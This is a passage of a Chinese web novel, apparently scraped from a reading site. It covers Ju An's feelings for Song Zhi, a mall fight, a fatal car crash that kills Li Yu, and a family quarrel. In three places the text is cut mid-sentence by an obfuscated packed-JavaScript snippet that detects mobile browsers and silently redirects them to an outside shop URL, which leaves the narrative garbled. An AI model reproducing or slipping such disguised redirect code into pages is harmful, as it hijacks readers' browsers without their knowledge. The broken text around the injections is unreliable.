“嘿,我妈一个人在办公室?”卢宇年双手插兜,径直走向秘书。 秘书恭敬地起身,应道:“对,只有戴总在。” “OK,谢啦~” 话音刚落,卢宇年连门都不敲,直接推门而入。 看来她的策略是对的。 雎安松了口气,抬头看了眼办公室墙上的时钟。 11点30分。 距离午餐时间只有半小时了,她大可以带着手机躲去厕所,让汤晴为她打掩护,有人问起来的话,她就说是拉肚子了。 很好! 雎安咻一下起身,戴总办公室的大门也随之打开。卢宇年一脸无语地从办公室里走出来,和僵在原地的雎安直直对上。 “这是基本的礼貌!”戴总冷冽的声音从办公室中传出,带着淡淡的怒气。 “知道了。”卢宇年扭头对上母亲犀利的目光,仍然回应得吊儿郎当,但他在啪一声将门关上后,还是认真地敲了三下门。 “我进去喽~”卢宇年的面上已经没有了不耐烦,声音中还透着一丝愉悦和兴奋。 开门前,他转过头,看了眼想要往外走的雎安,轻挑眉峰,冲她笑了笑。 “阿斯!” 宋挚扭身,竭尽全力为自己涂药,但却因为柔韧度不够,突袭的痛疼像是扯到了筋,也没能涂到三角肌后束接近菱形肌的那个位置。 他在公寓,没回学校,没有人能帮他。 下午三点,手机铃响,他在活动手臂。幸运的是,他扯得并不严重,痛疼感很快消失,就只有右后臂还有一点紧绷感。 “喂,你好。”宋挚接通电话,看了眼备注,“浮沉,找我有事?” “对,是关于包裹发件人的。” 周浮沉开门见山,言简意赅地将今早的发现告知宋挚,还将他的分析和猜测和盘托出。 “因为嫌疑人穿的是宽松的黑色工装裤,我一开始都没发现,后来我看了很多遍视频,发现他的走路姿势和普通人有些不同。左右交换腿往前行走的时候,他的右屁股会略高于左屁股,或者准确点说,是他的骨盆有□□的问题。虽然不严重,但仔细看是能发现的。我想,这是他站着的时候习惯单腿支撑导致的问题。” 熟悉他却与他不亲近,知道他的号码和住址,还经常使用单腿支撑站姿的人。 宋挚的脑中迅速闪过一个名字。 “以他的伪装和行事风格来看,他不是个聪明谨慎的人。”周浮沉手中转着笔,唇角轻扬,任何一个人在他面前经过,都能感受到他的胸有成竹。 “我顺着他的行动轨迹,猜测他打车的下车点和经常活动的位置,简单查了几个沿街的监控,就发现了他。他在远离寄件区域后很快放下了防备,没有及时更换伪装,就在监控密布的公园里脱帽扇风。” 听起来笨笨的。 由此,宋挚更加肯定自己的猜想,说出了脑中的那个名字,“是李豫?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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外卖员将收件信息递给她看,“您对一下,看看是不是您。” 好吧,确实是她。 “哇!第一次看你收到花耶~男朋友送的?” 第一个走过来询问的是廖欣,她是小公司里唯一的人事部成员。 “就是一个普通朋友,我帮了她忙,这是她的回礼。”雎安一顿胡编乱造。 廖欣显然不信,朝雎安眨了眨眼,“向日葵、香槟玫瑰和桔梗,配得不错~” 雎安嘴唇抑制不住地上扬,这是她人生中第一次收到花束,无可否认,她是开心的。 但此时此刻,周边都是上司和同事,虽然戴总和卢宇年在午间饭点一起离开后就没再回来,但她一点也不想在此大聊私事。 所幸,廖欣是有分寸的人,调侃完就离开了。 而她也迫不及待地想要拿着藏起来的卡片,去楼道看看上边到底写了什么。毕竟办公室里都是监控,她有些心虚。 “谁送的啊?” 就在雎安猫在楼道暗处,准备在黑灯瞎火的环境下查看卡片的时候,汤晴的声音从背后传来,吓得她以为自己的心脏跳出了喉咙。 汤晴将装满垃圾的外卖袋扔进雎安前方的垃圾桶里,低头轻笑,“这么期待呢?” “嗯。”看清来人是汤晴,雎安瞬间安心了许多,但在她试图平复自己过快的心跳时,却发现自己的心跳越来越快、越来越不受控,“希望是我期待的人吧。” 见雎安笑得眉眼弯弯,而她好像并未察觉自己有多开心,汤晴笑意更深,“那我祝你心想事成。” 说完,汤晴就退了出去,给雎安留出了足够的空间。 雎安已经很久很久没有这样复杂的心情了,激动、兴奋、期待、还掺杂着一些忐忑和害怕。 以往每一次她有类似的心情,结果都不如愿。 而这一次,她有预感会不一样。 雎安深吸一口气,拆开了卡片的外包装。 不是宋挚。 她的笑容僵在了脸上。 45. 她没办法再骗自己。 这就是认知偏差吗? 因为内心深处的期待,而让她失了判断,其实只要她认真想想,就能很快明白宋挚不会突然送她花,就算是为了讨好她、让她答应帮忙的事,宋挚也必定会选择当面送,亲眼观察她的反应,而不是订花给她。 冷静下来之前,她很失落。 冷静下来之后,她假装什么都没有发生,表情淡淡的回到工位坐下。 她以为自己会逐渐平静,然而脑子和心却不受控制,如同乱麻一般。 她对着电脑发呆,尝试放空自己。 然而,在乱麻被快刀斩断的那一瞬,她避无可避地意识到,她喜欢上了宋挚! 初见时,她便已心跳加快,对他有了好奇和探索欲。 在装置里突然出现有关于他的记忆时,她在短暂的迷茫后,内心有喜悦和感动,甚至远大于不解和恐惧。 两人独处时,即便周围有什么短暂地吸引了她的注意力,她仍然会控制不住地将注意力放在他身上。 若自欺欺人,硬将她刚刚的反应解释成是因为脑海中那些奇怪的记忆导致的,那她为什么会想要了解与宋挚有关的事物,期待和他有更多的接触,希望能与他有愉快的对话,在夜晚失眠的时候会不自主地想到他,还会在脑中幻想与他度过甜蜜生活的片段。 她没办法再骗自己。 即便她始终认为自己不会先喜欢上任何人,因为她觉得自己不会爱,也无法给予爱,如果不是对方先坚定地走向她、温暖她并给足她安全感,她就一定不会坠入爱河。 事实证明,她太想当然了。 但那又怎样? 雎安自嘲地笑笑。 宋挚对她无感,还一直在催促她去做违背契约精神和信义的事,而且那件事还有可能会伤害她的神经。 她不可能死皮赖脸的去追求一个对她无爱的人,更不可能和一个会伤害她的人谈情说爱。 她的父母,就是最好的警示。 她相信,这短暂的爱就像是刚铺好的床单上突然出现的褶皱,只要她愿意,轻易就能抚平。 “叮铃铃,叮铃铃~叮铃铃,叮铃铃~” 突然响起手机铃声,吓得雎安迅速回了神。她低头看眼自己的手机,没有任何反应。 “喂,嫂嫂,怎么了?” “对,我们这最近都不用加班。” “今天楚楚生日,我当然记得啦~” “啊?哦,那行,我下班后先带楚楚去商场买条新裙子。” 是汤晴的手机来电。 雎安听汤晴的回应,猜测电话那端的人是童敏。 还蛮神奇的,她喜欢的视频博主,原来离她的生活并不遥远的感觉。 突然,手机连续振动两次,显示有新的消息。 雎安划开锁屏,点开微信,快速读完后,简单的回了个OK后,她站起身将花放在旁边的座椅上,又将座椅推到木桌下,直到确保花束像是消失了一般,才满意的回到座位上。 下午六点,雎安和汤晴准时打卡下班,其他人则稍晚几步。 下班高峰期,两人好不容易挤上电梯,结果周围都是男人,她们只能维持着一种类似于相拥的姿势直到一楼。 一出电梯间,两人对视,不约而同地笑了出声。 “可惜了,我们不是偶像剧的男女主。”汤晴玩笑道。 “这套路太老套,会被观众骂的。”雎安还在笑,“对了,你是要去嘉源购物中心吗?” 汤晴点头,“晚点会去,我得先去找我侄女。” “嗯,那你去吧。” 简单道别后,雎安便快步往嘉源购物中心走去。 下午的信息,是沈薇发来的,约她出来晚上去吃海南椰子鸡,雎安想也没想就应下了。 她本来就不想回家,加之上一次还临阵脱逃、放过沈薇鸽子,这次她打算到店先取号等位,然后去商场里买个小礼物。 只要她动作够快,应该能在沈薇抵达泰美味之前取号入座。 因此,她走得很急很快。 然而,扶梯处的人群阻挡了她的脚步,为了安全,她只能放缓脚步,乖乖地随着人群一步一步往前走。 “啊,我的裤子!” 熟悉的声音从扶梯中央传来,一时之间,雎安却想不起来。 她踮起脚,想一探究竟,但前面的人都堵在扶梯口不敢往上,其中不乏又高又壮的男生。 “怎么扯不出来啊??”张百星迅速蹲下身,焦急地去扯卡在电梯缝隙里的裤脚,结果裤脚扯不出来,他自己反倒越扯越急眼。 “别动了,百星!” 陈思雨在片刻的惊慌后,快速反应过来,正要高声喊下面的人帮忙摁急停按钮。 眨眼间,电梯停下了。 这回,张百星紧抓着裤头的手稍一用力,裤腿就从电梯缝隙里出来了。见状,张百星和陈思雨提着的心终于放下,相视而笑。 而雎安这边却不太好,刚才情况紧急,她动作迅速地回身摁下急停按钮,却因此撞到了一位年轻的妈妈。 年轻妈妈失了平衡,突然向后倒,牵着的四岁小男孩也随之后倾。 雎安忘了呼吸,不管不顾地往前扑,希望能够力挽狂澜。 然而,她却忘记了她此刻的运动轨迹是不可能阻止她们摔倒的,反之,她还有可能会压在年轻妈妈的身上。 完了完了,完了完了,谁来帮帮她? “真是太谢谢你了,雎安。”张百星连声道谢,认真道:“当时我的裤子被机器扯得越来越厉害,要不是你帮我,我都想把裤子脱下来撕开了。” 闻言,在场的另外四人都笑了笑,包括雎安。 “真的!”张百星毫不避讳地强调。 “你没事就好。说起来,我还得谢谢你和雨姐呢~”雎安转身去看陈思雨,“多亏你们刚才一直帮我解释、帮我道歉。” “哪里的话。”陈思雨并不赞同,反驳道:“要不是为了帮我们,你也不会撞到那对母子,怎么会是我们帮你呢?” 这一来一回,大有非要辩出个到底是谁帮了谁的趋势。 周浮沉在基层呆过两年,对这场面还算有经验,上前打断道:“这都不重要,无论是谁帮谁,你们都做得很好。” “没错。”雎安欣然地笑了出来,微微欠身道:“周警官,刚刚幸好有你在,多亏你接住了那对母子,谢谢你。还有......” 叫什么好呢?宋挚?谢谢宋挚?好像不够尊重。 雎安苦思冥想,忽地灵光一闪。 “谢谢宋先生出手相助。” 闻言,宋挚嘴角抽搐了一下。 现在是,刚才也是。 他在她即将脸朝地摔倒的危险瞬间,左手一把抱住了她的腰,并小声说道:“帮别人的时候更要注意自己。” 他以为她会不服、会反驳,亦或是在意起他手臂的伤势,结果她只是低着头,简单地道完谢后就从他身上弹开,还刻意后退了几步,一副避之不及的模样。 这是他第一次如此明显的感受到,她不想和他有一丝过分的亲近,尤其是在人前。 “哦,天哪!”雎安看了眼手机,慌忙地解释道:“我还约了朋友,得赶紧过去,先走一步啦~” 离开前,即便行色匆匆,她仍然眉眼弯弯地和大家一一道谢。 宋挚目光紧随,注意到她刻意避开了和周浮沉的对视。她似娇羞似胆怯,转而看向了他的左手臂,可她的眼神却并没有多停留,也没有任何异样和问候,像是为了躲避对视而刻意做出的假动作。 海南椰子鸡的生意出乎意料得好,在雎安把玩偶盲盒送给沈薇的时候,她们坐在店门口附近,额前和后背衣衫上都是汗。 “我们换一家店吧。”沈薇提议,“等位区是露天的,没有空调太难熬了。” 雎安没有反应,已经出了神。 沈薇用手肘戳了戳雎安的腰,“我们去泰美味吧,我请客!” “哦哦,好啊~” 沈薇实在无法忽视雎安的心不在焉,在去泰美味的路上,开始不断地关心起她。 雎安知道沈薇是好心,她应该是以为她还在为昨天中午的事晃神,所以才格外担心。 “雎安。” 一个浑厚的中年男人从身后传来,试图叫住她。 雎安回头,眸底涌起一抹讶色。 她当然认得这声音,只是没想到会在这碰到宋言林,她记得宋挚说过,宋言林非常忙。而此刻,宋言林和金浩晨走向她们,看着十分闲散惬意。 “宋教授好。”雎安逐一打招呼,“你好。” 宋言林笑着点点头,金浩晨则是先和沈薇打了招呼,而后打趣道:“你好,我叫金浩晨。你还没记住我的名字?” 闻言,沈薇倏地扭头看向雎安。 “抱歉,我记性不太好。”雎安勉强一笑,内心乞求金浩晨少说话! 金浩晨却没打算到此为止,他假装拍拍脑袋,很是自来熟地道:“上次阿晴介绍你的时候,我就看出来你和她很投缘,我可记得你既是阿晴的同事、还是小薇的朋友。” 阿晴阿晴,叫得如此熟稔且亲密,而且还把她这个相识多年的好友妹妹放在阿晴之后。 沈薇何其敏锐,尤其是在发现雎安小心翼翼地观察她的表情时,她就知道是怎么一回事了。 “让开让开!你们这些年轻人堵在这干嘛?” 这尖锐的声音...... 宋挚和周浮沉迅速收回视线,挪到一侧,自觉地让开道来。 在此过程中,周浮沉和汤尊已经有了极为短暂的视线交锋。 “诶?”打头的阿叔想起什么,走出五十米后又返回来,站定在周浮沉,微眯着眼睛道:“你不就是昨天那个是非不分的臭警察吗?” 闻言,原本注意力都在孙子身上的阿姨也凑了过来,“是他,就是他!” “滚开!挡什么路?!” 卢宇年在来聚餐前,特地回了趟公司,想邀请雎安一起来吃饭,却看到了掉落在桌椅下的花束。他本来心情就差,结果进餐厅没多久还碰到个没眼力见的服务员,这会儿要离开还被一群人堵在原地动弹不得。 他烦躁地推开大大小小的人,即便是孩子他也视若无睹。 显然,阿叔有被震撼到。 俗话说,柿子专挑软的捏,而卢宇年一看就是块硬石头。 即便他的身形偏瘦,但他特立独行的挑染,布满整身的冷光银饰,裸露臂膀上露出的青淤痕迹,放纵不拘的挑衅姿态,都让那些被他推开的人敢怒而不敢言。 但是吧,总有人会迎难而上。 “你这小毛孩有没有素质?差点把我家孙孙推倒了,有眼不会看路吗?!”阿姨将孙孙护在怀中,怒斥道。 话音刚落,卢宇年便恶狠狠地回头,长腿一迈,来到老奶奶面前,当着所有人的面,狠狠地将老奶奶往墙上推。 卢宇年毕竟是成年男子,这一推又没收力,老奶奶连带其曾孙都实打实的撞在坚硬的墙上。 恶霸碰上恶霸,更凶恶的占据了上风。 这回,所有人都认出了他,他就是那天狠狠踢了汤尊一脚的混混! “我们离远一点。” 在看到前方发生争端的那刻,宋言林挡在了雎安和沈薇身前,神色紧张。 雎安则缩在宋言林和金浩晨身后,透过人群观察卢宇年。 “再说一遍试试。”卢宇年的声音低沉且阴冷,身上还有极浓的烟味,把阿姨小孙子的眼泪生生吓了回去。 此情此景,阿叔一家中的青壮年全都站了出来,虽然最高最壮的汤尊站在最后方,整体气势不高,但还算有种。 其中一个比卢宇年矮半个头的男子上前,说道:“你要是再施加暴力,我们会立刻报警。” 卢宇年却像是听到了什么天大的笑话,非但没有胆怯,反而在冷笑一声后,目中无人的将年轻男子推倒在一旁。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16092028|176717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 试试呗,无非就是赔点钱,我好久没挥拳头了。” 阿叔听到“报警”二字,即刻回过神来,抓着周浮沉的手,意图将他推出去,“你不是警察吗?你快把他抓起来啊!” 周浮沉被推得走了两小步,他壮实的后背刚好将雎安的视线彻底挡住。 往左挪有沈薇,往右挪又正好被金浩晨挡住,雎安看不见了,只能听见卢宇年在说什么既然报警了,他就要打个痛快。 人类的本质是八卦。 雎安因为什么都看不见而心焦,索性站在花坛边的台阶上,正好看到最为精彩的一幕。 周浮沉先用手臂拦截即将挥在阿叔身上的拳头,反手握住卢宇年的手腕,稍一用力将其扭转。 卢宇年的面上即刻显现出吃痛的表情。 “好!好!好!” 看戏的人越来越多,卢宇年愈加躁动难控,眼眸中透出的狠戾仿佛在无声地怒吼。 不达目的,他绝不罢休! 见状,周浮沉大声呵斥围观群众,“看什么看,等人打你们吗?还不快走!” 这蓝毛混混竟是连警察都不怕,躁动得似有挣脱的迹象。 阿叔顿觉该当缩头乌龟时就得缩,于是摆出一副义正言辞、不得不退的模样,一边唾骂卢宇年一边缩着身子往外跑。 “不要被激怒,你冷静点!”周浮沉冷着脸,不顾卢宇年意欲痛凑他一顿的情绪,仍擒着他的手不放。 作为人应有的道德感,雎安不该笑的。 但她实在无法违心的否认自己内心的愉悦,她看着那家人抱头鼠窜的狼狈模样,卢宇年的不良行为确实给了她一种出了口恶气的快感。 “宋教授,您怎么在这?” 以至于雎安都没注意到宋挚走到了她们面前,此刻,她正俯视着他。 宋言林对宋挚的出现毫不意外,“好久没见见你的朋友了,我听浩晨说你们今天聚餐,就想着过来看看。” 在他们对话的间隙中,雎安赶忙从台阶上跳下来。 她以为自己的动作像猫一样轻巧,不会引人注意,结果却是打断了宋挚和宋言林的对话,金浩晨和沈薇也都好奇地看了过来,仿佛在用浑圆的双眼问她。 你这是在干嘛? 雎安尴尬一笑,开始假装翻包找东西。 作为华州市最为繁华的综合CBD,即便是热得直冒汗的夏季,露天广场上仍然聚集了很多人,车道上也都是来来往往的车辆,其中最靠里边的车道已经被堵死,打头的白色小轿车停在原地不动,也不知道是不是被八卦给迷住了。 总之,现在广场附近的大部分人的目光都被周浮沉和卢宇年吸引。 雎安转身掩饰尴尬的时候,却注意到阿叔一家还站在露天广场中心上,也不知在等什么,一家人都面露烦躁和不悦。阿叔则在最前方边接电话边踱步,眉头皱得能夹死一只苍蝇。 “李博勤他们在哪?”宋言林左右张望,又低头看了眼腕表,眼神中透露着不安。 宋挚奇怪地看他一眼,“在餐厅里吧。” 宋言林转头去看身边的金浩晨,示意道:“浩晨,你打电话问问,如果他们在餐厅里,你就说我们快到了。” “哦,好。”金浩晨虽然不解,但是照做。 “快打。”宋言林催促道。 雎安像个局外人,视线还停留在阿叔身上。 他刚挂断电话,面上有明显的愠色。汤尊看出他的气恼,走到他身边,应该是在询问情况。 片刻后,汤尊也面露愠色。只是,他和阿叔不同,阿叔是不悦中带着气恼,而他愈加阴沉的脸恐怖得像是个手握镰刀、即将开始屠戮生物的恶魔。 雎安打了个寒颤。 与此同时,汤尊带着一家人往室内商场的方向走,车道上响起了此起彼伏的喇叭声。 原先雎安注意到的白色违停车辆里突然显出个人头,那个人的嘴角扬起一抹鬼魅般的讥笑。 热浪层层叠叠,她怀疑自己是受到酷暑的影响,有些神志不清,故而抬手揉眼,晃动脑袋以试图变得清醒。 人的生命何等脆弱,只一瞬,便能支离破碎、身首异处。 无数人在尖叫、在哭泣、在咆哮,他们无力地做着各自能做的事。 人群的嬉闹声,手推车的刮擦声,暴躁催促的喇叭声,一切的一切,都在顷刻间失了声音。 唯有汽车引擎声仍在高鸣,它叫嚣着、愤怒地高吼着,带着不甘冲出了商场的内部车道,带着死神夺取生命的决心加速冲向了主干道。 “啊!!!!” “救护车!快叫救护车!” “天哪!好可怕!!” “我在报警,你别推我!” 现场一片混乱,室外的人群都在往室内冲,宋挚却冲到雎安的正前方,不可置信地看着不远处的李豫。 他形态扭曲的躺在地上,双目圆瞪,嘴唇微张,还被慌张中躲避车辆的行人连连踩踏。 “让开!让开,不许踩!” 宋挚跪倒在三十五度高温的地面上,想要去探探李豫是否还有鼻息,可当他抬起手的那一刻,他发现他竟然没有伸手的勇气。 一切发生的太快,原先热闹惬意的画面,在雎安睁眼时突然就变成了人间炼狱。她的双腿控制不住地打颤,因发软而跪倒在宋挚身侧,她不敢看前方,只能扭头去看宋挚,希望能寻得一丝安慰。 可宋挚像是被夺去灵魂般,手停滞在半空,目光呆滞得如同牵线木偶。 雎安从他的眼中看到了失望和绝望。 突然间,她很想哭,很想给他一丝安慰,哪怕作用轻若飘羽。 或许,她是把她在失望和绝望时的期待投射在了宋挚身上,只是在自作多情,可那又怎样? 她艰难地站起身,上前蒙住了他的眼睛,给了他一个依靠,而她也感受到了他的体温,感受到了生命的温度。 慢慢的,宋挚将手收回了身侧,接受了这宛若戏剧的现实。 46. 你想要什么? “我送你回去。”宋言林抓住宋挚的手臂,“你现在的情况不适合开车。” 最重要的是,不能独处。 宋言林没说后半句。 “我没事,不用您送。” 宋挚没使劲,却想甩开宋言林的手,最后当然是失败了。 “我要送她回家。” “啊?”被点到的雎安完全是懵的。 现场来了很多警车和救护车,骚动平息后,这里仍然堵得水泄不通,她看了眼打车软件的实况,正规划着路线,打算走出去打车。 “我送你回家。”宋挚又对着雎安说了一句。 话音刚落,雎安还没给反应,宋言林先把手松开了,“那行,你开车的时候要小心。” 可她还没答应吧...... 雎安默默地将地图软件从后台划掉。 “雎安,帮我看着点。”宋言林当着宋挚面,说得非常客气,“麻烦了~” “好,我会的。” 白色宝马驶离地下车库,开往南林社区的方向。 从她们独处开始,宋挚就没再说过一句话,即便雎安偷瞄他被抓个正着,他也当没看见,视线像清风拂柳般在她身上略过,车内的每一分每一秒都开始变得煎熬。 直到手机震动,雎安收到一条信息。 是宋言林发来的。 “刚刚出事的人里有一个叫李豫的男生,他是阿挚的高中同桌,和阿挚是朋友。我担心他一时接受不了,情绪会跌落谷底,希望你能帮我开导开导他。谢谢你,雎安。” 难怪...... 以她对宋挚的了解,宋挚重情义,若只是目睹陌生人的意外惨剧,他是会震惊、意外、同情和难过,但绝不会因此而情绪崩溃。 雎安还觉得奇怪,为什么刚刚宋挚的反应会如此得震惊无助,为什么宋言林会特意叮嘱她看着点宋挚。 原来,惨死的人里有他的朋友。 车子突然一个急刹,雎安的心跳到了嗓子眼。 她担心以宋挚的情绪和状态...... 然而,惊诧的情绪不过维持了几秒。 当她看到甩着小尾巴、拥有肥美小屁股的柯基从他们的车前跑过时,她悬着的心瞬间落到了实处。 她相信,宋挚比她想象的还要坚强温柔得多。 “你家的具体位置在哪?”宋挚重新启动车子,不到两分钟就又停下。 雎安看向窗外,看到了南林社区的入口,“里边的路不好走,送到这里就行了,谢谢你。” 说完,她便要去解安全带,宋挚察觉到她的动作,直接伸手制止她。 “别动,我先找个车位。” 宋挚的动作迅速,不论是伸手还是收手,雎安只感觉手背一热一痒,触感便消失了,她甚至没来得及错愕和害羞。 待宋挚把车停好,他才有补充了句:“我送你回去,正好有话要问你。” 雎安没想到他们会再一次走在这条昏暗的小道上,而且,仅仅时隔一天。 “你的左手臂怎么样了?有好转吗?”雎安走在宋挚前面,关心道。 “嗯,好多了。”宋挚答得敷衍,满脑都是自己的问题,“雎安,我有话要问你。” “嗯?”听到宋挚这么认真严肃的喊她的名字,雎安一愣,“嗯,你问。” “你想要什么?” “啊?” “人活在这世上,总有欲望,总有追求。你的欲望和追求是什么?” 这是受了刺激,所以突然想和她聊人生话题? “我应该嗯......是想活得更好,更多的学识,更好的物质条件,还有积极向好的亲密关系。” 雎安只稍做幻想,都觉得幸福。 “有想过要怎样实现吗?”宋挚凝视着她,追问道。 雎安顿感压力,“有,我会一步一步实现的。” 宋挚不是想和她聊天,而是想直接了当的弄清她的需求。 看来,今晚他会向她索要一个答案,一个确切的答案。 “刚刚出事的人里有我曾经要好的朋友,虽然我们在大学以后就少有联系,但也还算熟悉。我想宋教授已经告诉你了,他叫李豫。” 雎安一惊,她记得她看短信的时候有刻意避着宋挚。 他是猜的?还是透过窗户看到了信息内容? “前几天,我收到一个奇怪的包裹。寄件人暗示杀害我妈的真凶另有其人,却没有指明真凶是谁,并且还刻意隐藏自己的真实身份。我觉得奇怪,就拜托周浮沉帮忙调查。结果就在今天下午,他告诉我寄件人是李豫。” 雎安问道:“而你,本来要在今晚问他真相是什么,是吗?” “对。”宋挚一瞬不瞬地看着她,“我不明白命运为什么要这样捉弄人?但这也让我更加直观地感受到了何为世事无常,有的人和事一旦犹豫错过是会抱憾终生的。” 他们并肩走过一个又一个弯口,再一次来到了昨天的那个分岔口,也再一次看到了那道突兀却美妙的光。 “我知道你是有追求的人,并不甘心被困在当下的工作和生活里,更不愿意变成父母手中的牵线木偶。而你,也确实在一步一步地突破。” 分别之际,两人停下脚步,站定在路灯下。 “可你有没有想过,改变生活不只需要决心和实力,更需要坚持和机遇。而坚持不懈的追求你想要的生活是有代价、有成本的,机遇更是失不再来。” 雎安明白宋挚的意思,也非常赞同。 不论她是想先考研提升自己,还是走出华州,换一个地方从头打拼,这都是在试错,试错是需要成本的。 先不说时间成本,单说钱,以她们家的经济状况,她不会得到父母在物质上的帮助,反而需要支付部分家用,并承担自己的所有开销。 这种情况下,就算她每天都跟打鸡血一样努力,她的存款能支撑她多久?她能保证自己不会失败、不会一事无成吗? 不能,完全不能。 而现在,保底五十万在向她招手,而且是连续不断的在向她招手。 “我现在很清楚我想要什么,也知道我该怎么做。” 宋挚逆着光,俯视着她,有着难以忽视的压迫感,“你呢?你想要什么?为了得到你想要的,你又会怎么做?” 雎安被笼罩在阴影中,久久没有出声。 晚上八点。 家里的气氛很压抑,雎安一进门就感受到了。 不过,这都在她的意料之中。 每次家里只要爆发了激烈的矛盾,争吵双方就会陷入冷战,把对方当作空气,直到两方气消,有一方先服软,另一方也愿意回应,冷战便宣告终结。 她一点也不喜欢这种解决矛盾的方式,可她努力过,已经不相信能和家人取得有效的沟通了。 又或者,这就是她家人眼中解决问题的最好方法,只是因为观念不同,让她感到痛苦。 “这个是怎么回事?”邹伟聪突然起身,指着他的手机屏幕,质问雎安,“这个是不是你?” 雎安径直回房的脚步蹲住,粗略看了眼,发现真的是她。 是昨天她和周浮沉对抗碰瓷夫妻的视频。 “你看错了,不是我。”雎安随口应付,转身进了房间,也不管邹伟聪的反应。 她有预感,等今晚的事故舆情在网上发酵,网友知道受害者人员有谁以后,她的这段视频会更火爆,而她的父母亲戚必定会刷到。 他们肯定会觉得她丢人,然后以长辈的姿态指摘她、教育她。 雎安倒在床上,感觉胸口闷堵,有种透不过气的感觉。不过两分钟,她实在受不了,起身走到窗边透气。 晚上十一点。 雎安还没吃晚饭,早已饥肠辘辘,可她一直忍着,直到听到门外没什么动静,才蹑手蹑脚地走出房门,先去上了个厕所,然后打算去储物柜翻几包苏打饼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16097049|176717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来充饥。 “你鬼鬼祟祟的在干嘛?”纪小梅站在房门口,语气不善,“我回来叫你怎么一直不应?一点礼貌都没有。” 纪小梅走到沙发前坐下,“说!是不会偷偷谈恋爱了?” “啊?”雎安察觉到不对,拿饼干的手悬在半空,最终放在了身侧,转身问道:“没有的事,你听谁说的?谢姨吗?” “是啊!”纪小梅打开手机,点开图片,一边审视雎安一边道:“这不就是你吗?我就说你最近怎么怪怪的。” 图片一看就是偷拍的,有些暗,但还是可以清楚看到她和宋挚的五官。 “而且这男的,我越看越眼熟,和那个宋教授长得很像。”纪小梅说着说着,眉眼有了笑意,“是不是宋教授的儿子?” 雎安没有回话。 邹伟聪也走出了房间,靠在门沿上,姿态放松,心情看着很是不错,“谢姨说,她昨晚也看到你们在一起,今晚也看到了。而且这男的还是开宝马送你到小区门口,又下车送你回家。” 纪小梅的眼中似有星星,目光中透着不加掩饰的兴奋,“那他人还不错,条件也很好......” “你们误会了。”雎安知道必须要解释清楚了,不然再聊下去会一发不可收拾,“他确实是宋教授的儿子,但人家是有事拜托我帮忙,不是在追求我。” “这都是借口。”邹伟聪笑着摆手,一脸肯定道:“人家条件那么好,就算对你有兴趣也肯定拉不下面子来追你。” “就是啊。”纪小梅放下手机,笑得眼尾的皱纹都跑了出来,“我看他长得好,家世也好,肯定是有些傲气的,而且现在的男孩子都很害羞,你多主动点~” “你妈说得没错,你都老大不小了,又没什么优势,就该主动!现在好男人都是靠抢的,难不成你还想等着人家来追你?” “可我不喜欢他。”雎安不喜,赌气道。 邹伟聪的笑容瞬间凝固,“为什么不喜欢?你眼高于顶啊?这么好的男人你都看不上?” “他哪里好?”雎安觉得好笑,一脸认真地发问:“我怎么没看出来?” 闻言,邹伟聪和纪小梅都急了,以为雎安是个傻的。 “他爸是大学教授,他的家庭和学历肯定不差。他开的车是宝马,那家庭存款至少有两三百万吧。他还下车送你到家门口,那人铁定也不错。”邹伟聪振振有词地帮着分析,“还有长相,他长得也好,像你们这些小姑娘不是都看颜值吗?” 雎安嗤笑一声,往前走了两步,“可你说我已经没什么优势了,人家条件又这么好,怎么可能看得上我?” 纪小梅啧一声,仿佛老师在课堂上碰到一个死钻牛角尖的学生,无奈又烦躁地解释道:“你现在还年轻漂亮啊,人家对你有心思很正常,妈妈年轻的时候也很多人追的,但是没把握住机会,人又内向,年纪大点就没人追了。” 纪小梅追忆往昔,毫不掩饰自己的惋惜,“所以我才劝你要主动,不要那么内向,不要像我。” 说着,纪小梅剜了眼邹伟聪,“找了个这样的老公。” 原本还算和谐的氛围被瞬间打破。 邹伟聪走到纪小梅面前,连连质问道:“你老公很差吗?明明是你不懂得珍惜!” “你看看其他男人的老婆,温柔贤淑会撒娇,有谁像你这样整天冷嘲热讽?” “都是你乌鸦嘴,害得我运气越来越差,家里的时运也越来越不好,你能怪谁?” 雎安默默听着,以为自己早已习惯,却没注意到自己的眼底已泛起泪花。 每一次在她觉得自己是能够获得积极美好的亲密关系时,她的父母总能击碎她的期待。 在眼泪夺眶而出之际,雎安快步回了房间。 她没有哭,也忘记了饥饿,肚子已然被情绪给填满。 她坐在书桌前,拿着手机哐哐哐地编辑了两条短信,一条发送给公司人事部的廖欣,另一条发给了宋教授。 47. “我想要你。” 吸取了上次的教训,宋言林这次将雎安带到了办公室。 “今天是周五,你是要上班的。”宋言林进门后,直言不讳道:“请假来找我,有什么要紧事吗?” “确实有......蛮重要的事要问您。”雎安在心中斟酌用词。 “嗯,那你说。” 雎安跟在宋言林身后,站定在桌前,“就是上次您说......” “先坐下吧。”宋言林打断雎安,“不用紧张,有问题直接问,我会解答的。” 